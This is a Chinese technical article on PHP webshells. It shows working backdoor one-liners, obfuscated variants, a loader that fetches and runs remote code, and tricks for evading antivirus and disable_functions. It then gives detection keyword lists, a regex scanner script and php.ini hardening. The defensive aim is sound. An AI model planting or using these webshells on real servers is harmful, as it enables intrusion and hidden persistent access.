一、各種webshell
一句話木馬,其形式如下所示:
<?php
if
(isset($_REQUEST[
'cmd'
])){
$cmd = ($_REQUEST[
"cmd"
]);
system($cmd);
echo
"</pre>$cmd<pre>"
;
die;
}
?>
這種容易被安全軟件檢測出來。為了增強隱蔽性,出現了各種一句話木馬的變形,通過各種函數來偽裝,這里不得不吐槽PHP弱類型對於安全來說是致命的
a、使用str_replace函數
<?php $a =str_replace(x,
""
,
"axsxxsxexrxxt"
);$a($_POST[
"code"
]); ?>
//
說明:請求參數 ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(
"PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="
))
最終執行命令<?php assert(fputs(fopen(
'c.php'
,w),
"<?php @eval($_POST[a]);?>"
))?>
b、使用str_rot13函數
<?php ($code = $_POST[
'code'
]) && @preg_replace(
'/ad/e'
,
'@'
.str_rot13(
'riny'
).
'($code)'
,
'add'
); ?>
//
說明:首先,將
eval
函數用str_rot13(
'riny'
)隱藏。然后,利用 e 修飾符,在preg_replace完成字符串替換后,使得引擎將結果字符串作為php代碼使用
eval
方式進行評估並將返回值作為最終參與替換的字符串。
c、使用include函數
<?php $filename=$_GET[
'code'
];include ($filename); ?>
//
由於include方法可以直接編譯任何格式的文件為php格式運行,因此可以上傳一個txt格式的php文件,將真正的后門寫在文本當中。
d、使用pack函數
<?php
if
(empty($_SESSION[
'api'
]))
$_SESSION[
'api'
]=substr(file_get_contents(sprintf(
'%s? %s'
,pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[
'api'
]),null);
?>
e、使用session
<?php
session_start();
$_POST[
'code'
] && $_SESSION[
'theCode'
] = trim($_POST[
'code'
]);
$_SESSION[
'theCode'
]&&preg_replace(
'\'a\'eis'
,
'e'
.
'v'
.
'a'
.
'l'
.
'(base64_decode($_SESSION[\'theCode\']))'
,
'a'
);
f、隱藏在html頁面
<!DOCTYPE HTML PUBLIC
"-//IETF//DTD HTML 2.0//EN"
>
<html><
head
>
<title>404 Not Found<
/title
>
<
/head
><body>
<h1>Not Found<
/h1
>
<p>The requested URL was not found on this server.<
/p
>
<
/body
><
/html
>
<?php
@preg_replace(
"/[pageerror]/e"
,$_POST[
'error'
],
"saft"
);
header(
'HTTP/1.1 404 Not Found'
);
?>
g、使用assert函數
或者
<?php
$item[
'wind'
] =
'assert'
;
$array[] = $item;
$array[0][
'wind'
]($_POST[
'iixosmse'
]);
h、使用copy函數復制文件
<?php
$reg=
"c"
.
"o"
.
"p"
.
"y"
;
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
二、代碼混淆
<?php
@$_++;
//
$_ = 1
$__=(
"#"
^
"|"
);
//
$__ = _
$__.=(
"."
^
"~"
);
//
_P
$__.=(
"/"
^
"`"
);
//
_PO
$__.=(
"|"
^
"/"
);
//
_POS
$__.=(
"{"
^
"/"
);
//
_POST
${$__}[!$_](${$__}[$_]);
//
$_POST[0]($_POST[1]);
?>
或者
<?php
$penh=
"sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="
;
$kthe=
"JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"
;
$ftdf = str_replace(
"w"
,
""
,
"stwrw_wrwepwlwawcwe"
);
$wmmi=
"X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"
;
$zrmt=
"JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"
;
$smgv = $ftdf(
"f"
,
""
,
"bfafsfef6f4_fdfefcodfe"
);
$jgfi = $ftdf(
"l"
,
""
,
"lclrlelaltel_functlilon"
);
$rdwm = $jgfi(
''
, $smgv($ftdf(
"gi"
,
""
, $zrmt.$kthe.$wmmi.$penh))); $rdwm();
?>
可以使用weevely工具來生成,代碼偽裝避開各種主流的殺毒軟件
PHP后門生成工具weevely
weevely是一款針對PHP的webshell的自由軟件,可用於模擬一個類似於telnet的連接shell,weevely通常用於web程序的漏洞利用,隱藏后門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務器端php代碼是經過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務器端代碼后通常可以通過weevely直接運行。
weevely所生成的PHP后門所使用的方法是現在比較主流的base64加密結合字符串變形技術,后門中所使用的函數均是常用的字符串處理函數,被作為檢查規則的eval,system等函數都不會直接出現在代碼中,從而可以致使后門文件繞過后門查找工具的檢查。使用暗組的Web后門查殺工具進行掃描,結果顯示該文件無任何威脅。
更常用的混淆視聽的方法:(這種是服務器層面的混淆)
-
修改文件時間
-
改名融入上傳后所在文件夾,讓人無法直觀看出文件異常
-
文件大小的偽裝處理(至少看起大小像個正常腳本)
-
選好藏身路徑並盡量少的訪問
-
畸形目錄%20
三、如果繞過配置文件
一般的服務器管理員會把 system、exec等危險函數禁用的,那么如何繞過呢?
1、使用反射
相關內容可參考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。
<?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?>
2、使用callback
php提供的另外一種可間接調用函數的方法是callback. 這里使用了ob_start.具體說明可參考:http://www.php.net/manual/en/function.ob-start.php
<?php
$cb=
'system'
;
ob_start($cb);
echo
$_GET[c];
ob_end_flush();
?>
php中支持callback的函數還有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等
四、安全人員應該怎么做
1、如何查找
直觀尋找方式也有很多
-
通過文件名/修改時間/大小,文件備份比對發現異常(SVN/Git對比,查看文件是否被修改)
-
通過WEBSHELL后門掃描腳本發現,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
-
通過access.log訪問日志分析
下面是360 zhujiweishi ,在linux服務器上非常簡單好用
通過常見的關鍵詞如(可以使用find 和 grep 等命令結合起來搜索代碼中是否包含以下文件)
-
系統命令執行: system, passthru, shell_exec, exec, popen, proc_open
-
代碼執行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
-
文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
通過簡單的python腳本
#!/usr/bin/env python
# encoding: utf-8
import
os,sys
import
re
import
hashlib
import
time
rulelist
=
[
'(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))'
,
'((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))'
,
'(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})'
,
'(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))'
,
'((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))'
,
'(\$(\w+)\s*\(\s.chr\(\d+\)\))'
,
'(\$(\w+)\s*\$\{(.*)\})'
,
'(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))'
,
'(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))'
,
'(\$\_\=(.*)\$\_)'
,
'(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))'
,
'(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))'
,
'(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))'
,
'((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))'
,
'(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))'
,
'(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))'
,
'((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))'
,
'(eval\s*\(\s*\(\s*\$\$(\w+))'
,
'((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))'
,
'(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
]
def
scan(path):
print
(
' 可疑文件 '
)
print
(
'*'
*
30
)
for
root,dirs,files
in
os.walk(path):
for
filespath
in
files:
if
os.path.getsize(os.path.join(root,filespath))<
1024000
:
file
=
open
(os.path.join(root,filespath))
filestr
=
file
.read()
file
.close()
for
rule
in
rulelist:
result
=
re.
compile
(rule).findall(filestr)
if
result:
print
'文件:'
+
os.path.join(root,filespath )
print
'惡意代碼:'
+
str
(result[
0
][
0
:
200
])
print
(
'最后修改時間:'
+
time.strftime(
'%Y-%m-%d %H:%M:%S'
,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
print
'\n\n'
break
def
md5sum(md5_file):
m
=
hashlib.md5()
fp
=
open
(md5_file)
m.update(fp.read())
return
m.hexdigest()
fp.close()
if
md5sum(
'/etc/issue'
)
=
=
'3e3c7c4194b12af573ab11c16990c477'
:
if
md5sum(
'/usr/sbin/sshd'
)
=
=
'abf7a90c36705ef679298a44af80b10b'
:
pass
else
:
print
(
'*'
*
40
)
print
"\033[31m sshd被修改,疑似留有后門\033[m"
print
(
'*'
*
40
)
time.sleep(
5
)
if
md5sum(
'/etc/issue'
)
=
=
'6c9222ee501323045d85545853ebea55'
:
if
md5sum(
'/usr/sbin/sshd'
)
=
=
'4bbf2b12d6b7f234fa01b23dc9822838'
:
pass
else
:
print
(
'*'
*
40
)
print
"\033[31m sshd被修改,疑似留有后門\033[m"
print
(
'*'
*
40
)
time.sleep(
5
)
if
__name__
=
=
'__main__'
:
if
len
(sys.argv)!
=
2
:
print
'參數錯誤'
print
"\t按惡意代碼查找:"
+
sys.argv[
0
]
+
'目錄名'
if
os.path.lexists(sys.argv[
1
])
=
=
False
:
print
"目錄不存在"
exit()
print
(
'\n\n開始查找:'
+
sys.argv[
1
])
if
len
(sys.argv)
=
=
2
:
scan(sys.argv[
1
])
else
:
exit()
2、如何防范
php.ini 設置
-
disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
-
設置“safe_mode”為“on”
-
禁止“open_basedir” 可以禁止指定目錄之外的文件操作
-
expose_php設為off 這樣php不會在http文件頭中泄露信息
-
設置“allow_url_fopen”為“off” 可禁止遠程文件功能
-
log_errors”設為“on” 錯誤日志開啟
php編碼方面
-
所有用戶提交的信息 post get 或是其他形式提交的數據 都要單獨寫個過濾函數處理一遍,養成習慣(intval,strip_tags,mysql_real_escape_string)
-
經常檢查有沒有一句話木馬 eval($_POST[ 全站搜索php代碼有沒有這樣的源代碼
-
文件要命名規范 至少讓自己可以一目了然,哪些php文件名字有問題
-
如用開源代碼,有補丁出來的話,盡快打上補丁
-
如果攻擊者拿到了服務器的最高權限,有可能通過修改服務器的配置文件php.ini來達到他們隱藏后門的目的,前幾年比較流行。原理如下:php.ini 里面的這兩個配置項:auto_prepend_file ,auto_append_file 可以讓php解析前,自己加點東西進去 Automatically add files before or after any PHP document,如果被配置了eval()函數的后門 那就很陰險了,php文件代碼里面查不出,只會在php解析前包含eval()函數進來 並且因為是全局的 所以所有php頁面都是后門!所以要先確認auto_prepend_file ,auto_append_file沒被配置成其他東西,才進行第3點的源代碼檢查。
服務器配置
配置的時候盡量使用最小權限,不要寫入或者執行的目錄不能給相應的權限
nginx或者apache配置的時候,不能訪問的目錄一定要配置為deny
文章出處;https://www.cnblogs.com/chenpingzhao/p/6562415.html
參考文章
https://github.com/chenpingzhao/php-webshells
http://blog.csdn.net/miltonzhong/article/details/9714367
http://blog.jobbole.com/53821/